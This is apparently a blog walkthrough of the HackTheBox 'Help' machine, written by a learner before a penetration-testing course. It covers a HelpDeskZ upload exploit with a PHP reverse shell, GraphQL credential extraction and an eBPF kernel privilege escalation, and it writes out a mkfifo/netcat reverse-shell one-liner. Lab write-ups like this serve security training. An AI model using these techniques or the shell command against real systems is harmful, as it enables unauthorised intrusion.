With the start of my PWK course only three days away, I decided to try my hand at one of the newer HackTheBox machines, called Help. I chose this box for two reasons. First, it was rated as moderately easy, and had a more real-world, CVE approach instead of a brain-bending, unrealistic CTF approach. Second, I had attempted this box previously without success, and taking another stab at it would allow me to judge how much I’d learned in the previous month.


Hello, nmap, my old friend. I’ve come to scan with you again:

root@haxys:~/help/nmap# nmap -A -oA help-script
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 10:28 EDT
Nmap scan report for
Host is up (0.068s latency).
Not shown: 997 closed ports
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6
|                      (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Nmap done: 1 IP address (1 host up) scanned in 27.55 seconds

Based on the OpenSSH version installed, it appeared as if the machine was running Ubuntu 16.04 LTS (Xenial Xerus). I also noticed that this version of OpenSSH was vulnerable to the user enumeration vulnerability detailed in CVE-2018-15473. I also noticed that Apache v2.4.18 was running. Having seen this version in a few other HTB machines, I recognized that it was vulnerable to a local privesc attack (CVE-2019-0211)… But I also knew that this attack could only be triggered at a particular time of day, so I resolved to avoid that vector unless it was absolutely necessary.

I took note of this information for later reference, then moved on to examine the web services running on the system. As nmap had discovered, the Apache server running on port 80 was hosting the default “It works!” page that is shown after installation. Likewise, the server on port 3000 was running the Node.js Express framework, and visiting the page revealed the following message:

{"message":"Hi Shiv, To get access please find the credentials with given query"}

Unfortunately, I was unfamiliar with the Node.js express framework, so I had no idea where to begin with that avenue of inquiry. I noted the message for later, and turned my attention back to Apache.

Knowing that this was a CTF, I assumed that Apache was installed for a purpose, and that it likely held more than just the default installation page. I decided to see if dirbuster could find anything worthwhile. Before long, it uncovered the /support/ directory. Browsing to that directory, I found that the site was running a piece of software called HelpDeskZ Support Center:

HelpDeskZ Support Center

Reading up on the software, I learned that it was a PHP-based, open-source helpdesk application. Based on the copyright information on the HelpDeskZ homepage, it appeared as if the last update to their website had been in 2016. However, on the download page, I found that the last official release was v1.0.2, dated June 1st, 2015. Google informed me that the source code was available on GitHub, but it also pointed me in the direction of a remote, unauthenticated shell upload vulnerability.

According to the vulnerability report, users could upload a backdoored PHP file to the “Submit a Ticket” page on the website, and the file would be saved with a deterministic filename on the website, where it could be discovered and executed in order to get a shell.

The Shell Game

I dropped into a terminal and used msfvenom to craft a PHP reverse TCP shell that would connect back to my machine on port 4444, which I saved in the file backdoor.php:

HelpDeskZ Backdoor

Then I copied the exploit code from the vulnerability I’d found into a file called exploit.py. When that was complete, I attempted to upload the backdoor to the website as instructed in the disclosure… Only to have the server reject the file. I tried renaming it to a .phtml extension to see if that would go through, but no dice. I couldn’t be sure whether the system would execute PHP code hidden in a fake image file, but I decided to give it a shot. I modified the file and added GIF89a; to the beginning, then renamed the file to backdoor.gif. I checked to ensure that the file appeared to be a GIF:

root@haxys:~/help# file backdoor.gif
backdoor.gif: GIF image data, version 89a, 2619 x 10799

Then I tried again, uploading the backdoor.gif file. Once again, I was told that the file was not allowed! I tried uploading some legitimate images that were larger than the backdoor, to see if the system was perhaps blocking the file based on its size, but they uploaded without any problems. It appeared as if this exploit had been patched, but I wanted to know how they patched it. Maybe I could find a way to circumvent the patch?

I downloaded the source code from GitHub and dug into the code. Based on my research, even if the file was rejected, the system would store it in the /support/uploads/tickets/ directory, and wouldn’t delete it automatically. I decided to test this theory. I renamed my backdoor back to backdoor.php and removed the GIF tag from the beginning, then attempted to upload it once again. After seeing the all-too-familiar “File is not allowed” error, I went to the exploit and pointed it at the target directory:

Backdoor Found!

My backdoor had reached the system! Time to give it a test-drive. I started up my netcat listener and loaded the backdoored page:

root@haxys:~/help# nc -lvp 4444
listening on [any] 4444 ...
connect to [] from help.htb [] 38132

Bingo! I was in! I went ahead and created a secondary connection as I had with Nibbles:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 31337 > /tmp/f

With that done, I changed to the user’s home directory and found the user.txt file:

help@help:/home/help$ cat user.txt
cat user.txt

User flag achieved! I had scored my first-ever points on HackTheBox!

User Owned


Looking around the help user’s home folder, I found some interesting files:

help@help:/home/help$ ls -lah
ls -lah
total 76K
drwxr-xr-x   7 help help 4.0K Jan 11 06:07 .
drwxr-xr-x   3 root root 4.0K Nov 27 00:43 ..
-rw-rw-r--   1 help help  272 Jan 11 06:17 .bash_history
-rw-r--r--   1 help help  220 Nov 27 00:43 .bash_logout
-rw-r--r--   1 root root    1 Nov 27 01:13 .bash_profile
-rw-r--r--   1 help help 3.7K Nov 27 00:43 .bashrc
drwx------   2 help help 4.0K Nov 27 00:45 .cache
drwxr-xr-x   4 help help 4.0K May  1 07:20 .forever
-rw-------   1 help help  442 Nov 28 04:46 .mysql_history
drwxrwxr-x   2 help help 4.0K Nov 27 01:12 .nano
drwxrwxr-x 290 help help  12K Jan 11 05:53 .npm
-rw-r--r--   1 help help  655 Nov 27 00:43 .profile
-rw-rw-r--   1 help help   66 Nov 28 09:58 .selected_editor
-rw-r--r--   1 help help    0 Nov 27 00:48 .sudo_as_admin_successful
-rw-rw-r--   1 help help  225 Dec 11 01:53 .wget-hsts
drwxrwxrwx   6 root root 4.0K Jan 11 05:53 help
-rw-rw-r--   1 help help  946 Nov 28 10:35 npm-debug.log
-rw-r--r--   1 root root   33 Nov 28 10:51 user.txt

The first one I aimed for was the .bash_history file:

help@help:/home/help$ cat .bash_history
cat .bash_history

I wondered if perhaps rOOTmEoRdIE was a password to something, so I tried using it to log in with SSH. No such luck. I checked out the .forever directory, and found that they referred to the Node.js Express framework I’d seen earlier:

help@help:/home/help$ cat .forever/6v2k.log
cat .forever/6v2k.log

Server listening on http://localhost:3000/ ..

/graphql  - endpoint for queries

Interesting! It said that /graphql was the endpoint for queries. Perhaps I could use this to obtain useful information? I went to the web frontend and tested this theory:

Blank Query

Now I was getting somewhere! Back in the shell, I explored a little more. It looked like the help directory contained source code related to the Node.js application, so I dug a little deeper. After a while, I discovered the format for the query language, and managed to extract a username and password hash from the system:



With the username helpme@helpme.com and the password hash 5d3c93182bb20f07b994a7f617e99cff in hand, I decided my next step was to try to decrypt the hash. It looked like a md5 hash to me, so I went to MD5Online and fed it the hash. If that site didn’t work, I could always turn to one of the password-cracking utilities on Kali, but I figured it would be worth a try. Sure enough, it spat out the cleartext password:


I returned to the HelpDeskZ application and tested the credentials. Sure enough, they got me into the system! I turned around and attempted the same password with the help and root accounts via SSH, but had no luck. It appeared that these credentials wouldn’t be of much use to me. I had seen another HelpDeskZ vulnerability which required credentials, and now that I had credentials I would be able to take advantage of that exploit, but I didn’t see a way to leverage that exploit to gain root.

Riding the Escalator

I decided to try and find a privilege escalation attack using the same linux exploit suggestion script I’d used on Nibbles. I downloaded the script to Kali, put it in my Apache directory, downloaded it to the target machine, and gave it a spin.

help@help:/home/help/.sugg$ bash linux-exploit-suggester.sh
bash linux-exploit-suggester.sh

Available information:

Kernel version: 4.4.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 16.04.5
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

71 kernel space exploits
37 user space exploits

Possible Exploits:
[+] [CVE-2017-16995] eBPF_verifier

   Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
   Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},[ ubuntu=(16.04|17.04) ]{kernel:4.(8|10).0-(19|28|45)-generic}
   Rank: 7
   Download URL: https://www.exploit-db.com/download/45010
   Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

I saw a lot of familiar faces in the list – after all, the last time I’d used this script was on another Ubuntu 16.04 machine. I used uname to get the specific kernel that was being used (4.4.0-116-generic), then began working down the list. It didn’t take long – the first exploit in the list worked like a charm:

help@help:/home/help/.sugg$ gcc -o ebpf ebpf.c
gcc -o ebpf ebpf.c
help@help:/home/help/.sugg$ ./ebpf

I used the wrapped-netcat reverse-shell trick once more, and had a beautiful root shell on the box:

root@help:/home/help/.sugg# id
uid=0(root) gid=0(root) groups=0(root),[...]
root@help:/home/help/.sugg# cd ~
cd ~
root@help:/root# cat root.txt
cat root.txt

Huzzah! My first live root flag!

Root Owned


When aiming for a user shell, I kept receiving an error that threw me off, and it was only after careful code-review that I discovered a way in. From this, I finally experienced first-hand the truth of what had been said to me so many times before: Don’t trust the exploit writers to be 100% honest. Without code-review and consideration, I wouldn’t have been able to get a user shell. And honestly… I consider that to be a good thing. If every researcher released perfect exploits with explicit instructions for use, script kiddies would be causing mayhem everywhere.

In this challenge, as well as in Nibbles, I gained root via methods I’m fairly certain weren’t intended by the machine’s creators, so I plan to go back and take some time to find other methods for privilege escalation. I don’t want to rely too much on any single script or exploit, because that will make me a weak pentester. That being said, I’m glad I succeeded today where I had failed only a few weeks ago; it shows that I’m learning! I’m beginning to feel more confident in my abilities, and I’m eagerly looking forward to starting my PWK course!